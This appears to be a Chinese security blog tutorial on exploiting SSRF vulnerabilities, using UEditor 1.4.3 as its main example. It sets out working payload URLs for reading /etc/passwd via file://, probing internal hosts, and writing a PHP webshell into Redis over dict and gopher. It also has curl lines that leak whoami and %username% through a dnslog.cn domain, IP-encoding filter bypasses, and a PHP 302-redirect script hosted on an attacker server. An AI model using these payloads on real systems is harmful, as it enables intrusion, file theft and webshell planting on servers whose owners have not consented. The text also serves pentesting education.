ssrf漏洞内网渗透_SSRF

一、SSRF是什么?如何产生的?危害有哪些?

SSRF是攻击者利用服务端A的漏洞,利用服务端A的身份,发起对服务端A本身,或者服务端B的攻击请求。

http://www.aaaaa.com/ssrf.php?url=http://www.bbbbb.com

如上就是一个标准的ssrf漏洞,当攻击者点击这个链接时,相当于攻击者利用aaaaa访问了bbbbb。
攻击者——有漏洞的服务器A——服务器A其他端口/服务器B/服务器C
ssrf经常发生在远程图片/文件下载处,自定义远程服务器连接处,数据收集处。
任何传参url和ip的地方都要注意,很可能会找到ssrf和url跳转漏洞。
很多知名的框架/cms也有ssrf漏洞,比如ueditor,weblogic,discuz都在较新的版本有ssrf漏洞。
ssrf的最大危害就是被攻击者拿来探测或者攻击内网,一般内网是比外网薄弱的,外网的漏洞总是优先修复,内网往往遗留很多漏洞。这个时候可能利用ssrf就能攻击成功。

二、SSRF分为哪几类?危害性如何定义?

1、 远程下载类SSRF。可以直接操纵服务器远程下载其他服务器的资源,这种可以完全回显所有信息,危害最大。
2、   布尔型SSRF。不会回显被攻击的内网信息,是提示true和false,这种对攻击者提供的信息较少,一般只能探测和盲打,利用率不高。
3、   不回显任何信息的SSRF。只能通过dnslog判断ssrf是否存在,无法用来探测内网,只能配合其他信息泄露来盲打内网。单独存在没有危害。

除此之外,ssrf的危害性还受它支持多少种协议,对传参有没有限制,是否支持302跳转来绕过限制。
ssrf危害较大的协议是http(s),file,dict,gopher四个,其次还可以支持ftp,smb,ldap,sftp,tftp等协议。如果ssrf支持换行符,也增加了其危害程度。
java对dict和gopher协议的支持都比较少见,而php如果调用curl组件,则很容易支持以上协议。甚至在一些调用curl的地方,可能直接造成命令执行。

90061e05f78ba30c61718450c2aab90c.png

curl命令执行/信息泄露

linux:curl  `whoami`.e168tt.dnslog.cnwindows:curl %username%. e168tt.dnslog.cn

php curl调用代码

<?php $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_GET['url']);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);?>

三、四种协议的利用方法

http

比较简单,直接看回显内容即可。

http://www.aaaaa.com/ssrf.php?url=http://192.168.1.100/

有的对url后缀有限制,可以用?或者#绕过

http://www.aaaaa.com/ssrf.php?url=http://192.168.1.100/?.jpg

 可以探测网站的favicon.ico来识别网站的具体用途

http://www.aaaaa.com/ssrf.php?url=http://192.168.1.100/favicon.ico

file

任意文件读取

http://www.aaaaa.com/ssrf.php?url=file:///etc/passwd

dict

字典协议,限制较大,自带头尾,所以不能转化为GET或者POST包,虽然可以换行但空白符都会加上转义符号。所以也不支持多行命令发包,只有少数例如redis可以用dict协议攻击。

http://www.aaaaa.com/ssrf.php?url=dict:// 127.0.0.1:8909/info

1f61db4d507806ddbf9aa7ae54b79703.png

http://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:8909/d:test%250a%250dset%200%200%250a%250dtest

fc2dd6a60262ee2bd012a3942a653e3d.png

gopher

最强大的协议,支持换行,可以伪造其他所有协议,可以多命令发包,发POST包,攻击内网redis,mysql,weblogic,Struts2,fastjson都可行。

http://www.aaaaa.com/ssrf.php?url=gopher://192.168.1.100:22http://www.aaaaa.com/ssrf.php?url=gopher://127.0.0.1:81/_POST%20%2fjson.php%20HTTP%2f1.1%250d%250aHost%3a%20luoke.cn%3a81%250d%250aOrigin%3az.cn%250d%250aContent-Length%3a%208%250d%250a%250d%250a{%22id%22%3a1}

四、如何用dict攻击redis

redis是一项字典服务,默认未授权即可访问,低版本默认root权限,有一个备份功能可以将文件写入任意目录。主要有三种方法可以getshell,写webshell,写任务计划,写ssh key。这里主要以webshell举例,其他两种方法自行搜索。

此外高版本还存在主从复制写入.so来加载来执行命令,同样自行搜索。

info       //查看版本信息,可执行flushall   //清除掉数据库所有信息config set dir /var/www/html     //设定备份目录config set dbfilename shell.php        //设定备份文件名set shell "<?php phpinfo();?>"     //设定内容save                   //备份


这就是完整备份流程,使用dict协议流程比较清晰,注意dict协议中冒号等于空格。

http://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/flushallhttp://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/http://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.phphttp://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/set:shell:"<?php phpinfo();?>"http://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/save

注意,此处有一处坑点,?#&这三个符号是url中有特殊意义的符号,由于php webshell需要用到它们,所以必须进行二次url编码。同理还有%0a%0d的换行,待会儿提到gopher协议会用到。

http://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/set:shell:""

如果只有一次编码相当于直接输入问号,浏览器识别错误。

http://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/set:shell:""

二次url编码则可以写入,但这里又会出一次问题,如下图

42fa0e0b216aa897bb28af1563767d85.png

最终写入的是。

究其原因,是因为dict协议的问题,dict完整命令是d:*:*或者m:*:*,其中d和m分别是DEFINE和MATCH的命令缩写,dict在命令这个参数中是不允许出现?#&换行等符号的,而后面的*内容是可以出现的。
那么能否通过在内容传递set shell "<?php phpinfo();?>"
答案是不行,因为set和shell之间出现了空白符,在dict的内容中,任意空白符都会加上转义符号,最终变成set\ shell,redis无法识别这样的命令。详情见上面四种协议的用法。
我们有两种解决办法,一种是使用不含问号的php标签,php一共有5种标签风格。

1,<?php  phpinfo();?>2,<script language='php'>phpinfo();script>3,=phpinfo()?>4,<?php info()?>5,<%=phpinfo()%>

其中前三种是php默认支持的,后两种分别需要在php.ini开启short_open_tag和asp_tags,但245都在php7.0被移除了。
不需要用到问号的是第二种和第五种,视情况用即可。
另外一种解决办法则是从redis上想办法,redis支持\x3f的转义字符,所以这样即可。

http://www.aaaaa.com/ssrf.php?url=dict://127.0.0.1:6379/set:shell:""

最终写入webshell

df60f7b34897ae96d658af31f77d0df6.png

五、如何用gopher攻击redis

gopher协议虽然比dict灵活很多,但想要一次性执行redis的所有命令写入webshell还是有难度的。Github上有一些python脚本可以让任意协议转化为gopher协议,有兴趣可以查一查。
网上流传的redis一次性命令抓包如下

*1\r$8\rflushall\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$8\r/var/www\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\rshell.php\r*3\r$3\rset\r$3\rweb\r$18\r<?php phpinfo();?>\r*1\r$4\rsave\r

这种转成gopher非常麻烦,经我测试,无需用$8和*1声明字符数量,只需要末尾用quit结束连接即可。先测试简单的info,注意gopher协议第一个字符会被省略,一般用_填充。

gopher://127.0.0.1:6379/_info%250d%250aquit%250d%250a

0c39c026d31cf9bc7a7d2c965a1b2f18.png

然后是完整命令

gopher://127.0.0.1:6379/_flushall%250d%250aconfig set dir /var/www/html/%250d%250aconfig set dbfilename shell.test%250d%250aset shell ""%250d%250asave%250d%250aquit%250d%250a

六、如何绕过SSRF的一些防御

以ueditor 1.4.3 php为例。ueditor支持远程图片下载,造成了ssrf漏洞和aspx的getshell漏洞。但它其实是有一定防御的。
我们直接用它来下载图片

http://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo_top_86d58ae1.png

如图,成功下载百度图片并且返回相对路径

6d976a5e0ea15468e826ef63a852fb8e.png

尝试直接下载html页面,被拒绝

http://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/index.html

23122c96aae8c3f87e0e6ff757561919.png

用?.jpg绕过,失败

http://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/index.html?.jpg

a6f69f0482371deb7c4b9d9e457912f7.png

访问内网ip试一试

http://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:81/ueditor/php/upload/image/20200319/1584610193.png

7d4a53bb2b67671d64cbcf4b3b860f95.png

9033b214b331bdc69e7c4898afb54e00.png

127可以,192则不行,这是因为源码中用FILTER_FLAG_NO_PRIV_RANGE验证了,这样所有局域网ip都不行。

a95e107769669ee19a4015a67db4356e.png

同理,从源码上看强制以http开头,所以其他协议也不要想了。

751fe9fec68f61c3d9b6e565aa2d80d9.png

如果对方单纯用数字正则校验内网ip,那么可以用一些特殊的字符来代替192.168.0.1
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001

fa535decb1ecca3798b218dffe8bf565.png

还可以使用新浪短链接或者购买公网域名解析到局域网ip,以及xip.io域名
http://192.168.0.1.xip.io/

但是ueditor会先解析再验证ip是否合法,所以这些办法都不行。
这个时候就需要用到302跳转了,在公网恶意服务器中放置302.php,ueditor先访问公网地址,然后被定位到局域网ip。

<?php $ip=$_GET['ip'];$port=$_GET['port'];$scheme=$_GET['s'];$data=$_GET['data'];header("Location:$scheme://$ip:$port/$data")

试试效果,成功跳转

http://62.*.*.218/302.php?s=http&ip=192.168.43.74&port=81&data=/ueditor/php/upload/image/20200319/1584610193.png

bc32d46190faf2055919624fc99d2c93.png

放入ueditor测试,注意&需要url编码

http://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=http://62.*.*.218/302.php?s=http%26ip=192.168.43.74%26port=81%26data=/ueditor/php/upload/image/20200319/1584610193.png

08508db3304ceec47a88c743d49cc437.png

虽然下载图片失败了,但是从access.log中发现请求成功了,只是没有下载图片,降级为布尔型ssrf

13181899a44781b002e7952c57cf979b.png

继续尝试用?.png绕过后缀防护,发现成功

http://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=http://62.*.*.218/302.php?s=http%26ip=192.168.43.74%26port=81%26data=/index.php%3f.png

9d269015ddfd413cdb8a1e90bde7eff5.png

那么能否使用dict或者gopher协议呢?用nc监听8909端口测试发现,均不行,这是因为ueditor使用的是readfile函数,只支持http协议。

http://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=http://62.*. *.218/302.php?s=dict%26ip=127.0.0.1%26port=8909%26data=infohttp://127.0.0.1:81/ueditor/php/controller.php?action=catchimage&source[]=http://62. *.*.218/302.php?s=gopher%26ip=127.0.0.1%26port=8909%26data=_info

fe28e27dfd3dde0845a55d7f83c6e700.png

同时不能下载文件的原因是ueditor校验了Content-Type,也有绕过可能,但需要用DNS二次绑定,实现方法较为复杂。
https://xz.aliyun.com/t/4154

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值